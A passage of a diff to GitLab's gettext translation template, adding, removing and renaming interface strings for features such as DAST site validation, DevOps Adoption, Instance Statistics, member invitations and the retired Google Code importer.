+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
